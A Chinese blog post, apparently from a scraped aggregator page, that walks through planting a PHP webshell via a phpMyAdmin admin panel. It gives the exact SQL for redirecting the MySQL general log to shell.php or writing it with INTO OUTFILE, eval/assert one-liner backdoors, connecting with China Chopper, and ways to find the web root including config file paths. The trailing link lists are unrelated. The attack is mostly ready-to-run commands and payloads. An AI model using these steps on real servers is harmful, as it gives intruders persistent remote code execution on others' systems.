PhpMyadmin后台拿webshell方法总结
前言:
phpmyadmin后台拿webshell的方法主要分为两个方法:
(1) 、通过日志文件拿webshell;
(2) 、利用日志文件写入一句话;(这个方法可能在实际操作中会遇到困难);
本地搭建环境:
Phpmystudy 2018
PHP--5.5.38
一、日志文件写入一句话来获取webshell:
(1) 、首先我们先利用日志文件写入一句话来获取webshell,日志文件写入的思路利用mysql的一个日志文件。我们执行的每一个sql语句都会被保存到日志中,换个思路想一下把这个日志文件重名为*.php,然后我们在执行一次sql语句,那么就会被保存在这个*.php文件中,这样我们就能顺利拿到webshell。
(2) 、假如通过某个方法获取到phpmyadmin的登陆后台且账号密码是弱口令:
(3)、点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的*.log的后缀我们改为*php。拿完webshell记得要改回去哟。
SQL语句进行修改:
SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志的保存位置。
(具体路径还需在实际环境中改变);
修改后的配置
(4)保存后,我们在SQL查询的框中写入
select "<?php eval($_POST['cmd']);?>";
或着
SELECT '<?phpassert($_POST["cmd"]);?>';
执行完毕后就会出现这个界面,这样的话我们就成功的把一句话写入到日志文件中:
(5)、查看网站目录下生成了一个shell.php的文件,一句话木马已经被我们写入,看到这里大家可能会问为什么里面不是纯净的一句话木马?我也百思不得其解,百度了一下发现是我们是上传的php一句话木马,在连接过程中,它是从头开始读取的,因为前面的不具备php文件的特征:
(6)、浏览器测试
用菜刀直接连接木马地址,webshell成功拿到:
http://127.0.0.1/shell.php
webshell已经拿到
二、利用插入一句话来提取webshell:
1、在知道路径的前提下插入一句话,
我们在插入一句话木马的时候首先要检测插入的条件是否被允许,输入查询语句
show global variables like '%secure%';
显示是NULL值,这样的情况下我们插入一句话是无法插入的,需要我们修改secure_file_priv=’’为空值才能插入一句话:
解释一下:
- secure_file_priv为null 表示不允许导入导出;
- secure_file_priv指定文件夹时,表示mysql的导入导出只能在指定的文件夹;
- secure_file_priv没有设置时,则表示没有任何限制;
当secure_file_priv为null 时,执行插入语句,发现无法插入一句话木马:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思是Mysql服务器运行“--secure-file-priv”选项,所以不能执行这个语句。
如果要解决这个问题,我们可以通过下面2种方式:将你要导入或导出的文件位置指定到你设置的路径里;由于不能在网页上修改,所以我们只能修改my.cnf里关于这个选项的配置,然后重启即可。(windwos下my.cnf叫my.ini)我的在E:\phpStudy\PHPTutorial\MySQL路径下
把--secure-file-priv修改为'' 没有这个则添加。
(1)、当我们把上面的障碍扫平之后,接下来就比较简单,我们可以这样写:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思就是在目录下会生成一个shell.php的文件,我们用菜刀直接连接这个文件地址就可以直接拿到webshell:
(2)、我们用菜刀直接连接http://127.0.0.1/shell.php就可以成功拿到服务器webshell:
2、在不知道绝对路径的前提下拿webshell:
这个方法几乎和我们做灰盒测试差不多,只拿到了登陆后台,但是不知道网站的绝对路径,这就非常尴尬,下面我总结了一下几点可以成功爆出网站的根路径:
(1)、SQL查询框中输入select @@basedir;就可以成功的输出绝对路径,这是利用了mysql的特性;(这个比较常用,毕竟是mysql的特性)
select @@basedir;
(2)、直接在url后面输入phpinfo.php,看看能不能读出这个文件,如果存在就会把网站的绝对路径显示出来,这样的情况特少,因为网站管理人员不可能把这个测试页面在互联网上面直接显示出来,他们或许会更改路径或许会设置目录访问权限;
(3)、使用扫描工具对网站进行扫扫描;扫描一些phpinfo.php info.php php.php test.php等等;
(4)、phpmyadmin读取 iis6,iis7配置文件 读取apache Nginx 配置文件!
- windows2003 iis6配置文件所在位置 C:\Windows/system32\inetsrv\metabase.xml
- win2008/2012 iis7.5 在这个文件 C:\Windows\System32\inetsrv\config\applicationHost.config
- Nginx配置 /etc/nginx/conf.d/vhost.conf /etc/nginx/nginx.conf
- apache配置 /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
总结
1、利用日志写shell
SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志保存的位置
SELECT "<?php eval($_POST['cmd']);?>";
2、利用 select XXX into outfile 绝对路径写shell(需要secure_file_priv='')
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
3、查找绝对路径
select @@basedir;
PhpMyadmin后台拿webshell方法总结的更多相关文章
- 在phpmyadmin后台获取webshell方法汇总整理
方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma ...
- 后台拿webshell方法(2)
在这里总结一下后台拿webshell的方法: 备份突破(在博客上有随笔介绍) 一般在后台上传文件类型受到限制,可以利用数据库备份将其上传的格式改为后门执行格式即可: asp更改为jpg jpg ...
- phpmyadmin后台拿shell方法总结
方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma ...
- KesionCMS V6.5后台拿SHELL方法
Title:KesionCMS V6.5后台拿SHELL方法 --2011-03-29 00:21 最近弄一个站点,是KesionCMS V6.5的WEB系统,试了下后台拿webshell方法,记下 ...
- 获取Webshell方法总结
一.CMS获取Webshell方法 搜索CMS网站程序名称 eg:phpcms拿webshell.wordpress后台拿webshell 二.非CMS获取Webshell方法 2.1数据库备份获取W ...
- Java类WebServer及中间件拿webshell方法总结
0.序 原文名称:Tomcat.Weblogic.JBoss.GlassFish.Resin.Websphere弱口令及拿webshell方法总结 原文from:http://www.hack80.c ...
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- JQuery EasyUI弹出对话框解决Asp.net服务器控件无法执行后台代码的方法(转)
原文:JQuery EasyUI弹出对话框解决Asp.net服务器控件无法执行后台代码的方法 jquery-easyui是一个基于jquery的图形界面插件,利用easyui可以创建很多好看的网页界面 ...
- iOS设备后台播放音乐方法
iOS设备后台播放音乐方法 1 在设置Capabliites中打开Background Modes,选择Audio And AirPlay 2 在控制viewDidLoad中添加下面代码 AVAudi ...
随机推荐
- 手把手教你实现pynq-z2条形码识别
我是 雪天鱼,一名FPGA爱好者,研究方向是FPGA架构探索和SOC设计. 关注公众号,拉你进"IC设计交流群". 1.前言 单单实现一个二维码识别就花了将近一个星期,这篇文章我就 ...
- 01网络编程(基础知识+OSI七层协议+TCP与UDP)
目录 01 网络编程 一.软件开发架构 1.1 CS架构 1.2 BS架构 二.网络理论前戏 2.1 简介 2.2 常见硬件 三.OSI七层协议(五层) 3.1 七层协议 3.2 五层协议 3.3 知 ...
- HMS Core携手厦门大学打造AR增强现实技术
HMS Core AR Engine团队联手厦门大学信息学院,与专业学生面对面深度交流行业发展与前沿成果.双方共同编写行业知识教材,引导学生开发AR游戏实践,为未来AR.VR人才培养培育可复制的教学模 ...
- mysql悬案 之 为什么用docker启动的mysql配置文件不生效
文章目录 故事前景 查看docker启动时挂载了哪些目录 使用相同镜像启动一个mysql 新建一个目录用来存放容器内的mysql配置文件 复制容器内的mysql配置文件到本地 查看mysql配置文件目 ...
- .NET6: 开发基于WPF的摩登三维工业软件 (7)
做为一个摩登的工业软件,提供可编程的脚本能力是必不可少的能力.脚本既可以方便用户进行二次开发,也对方便对程序进行自动化测试.本文将结合AnyCAD对Python脚本支持的能力和WPF快速开发带脚本编辑 ...
- NSSCTF-error
打开网页出现一个输入框,尝试使用127.0.0.1发现只是回显我们输入的内容 尝试进行注入,输入数字1会回显没有提示......,order by进行判断列数,得到有三列 接着就是正常注入的思路,使用 ...
- kali Vmware版root密码设置
kali Vmware版免去了虚拟机的安装麻烦,但是root密码如要设置一下,要不打开root的时候不方便VMware版本的kali下载地址:https://www.offensive-securit ...
- bugku ctf 杂项 旋转跳跃 (熟悉的声音中貌似又隐藏着啥,key:syclovergeek)
做这道题之前先给出工具 MP3Stego 下载地址 链接:https://pan.baidu.com/s/1W2mmGJcrm570EdJ6o7jD7g 提取码:1h1b 题目下载加压后 是一个 ...
- windev的弹窗详情页滚动条实现方法以及弹窗尺寸规划
按照企业信息系统的设计习惯,我们一般将信息以列表的方式在主窗口展现,同时设置需要展现的字段,一些系统会将这个窗口称为总表页.列表页等.而信息的编辑或完整信息的查询,一般通过一个弹窗来实现,一些系统会将 ...
- java集合框架中contains(),containsKey()和containsValue()的用法:
List集合的contains()方法用于判断集合中包不包含某个元素,返回值是boolean. Map集合的containsKey()和containsValue()方法和上面的相同. 示例: pub ...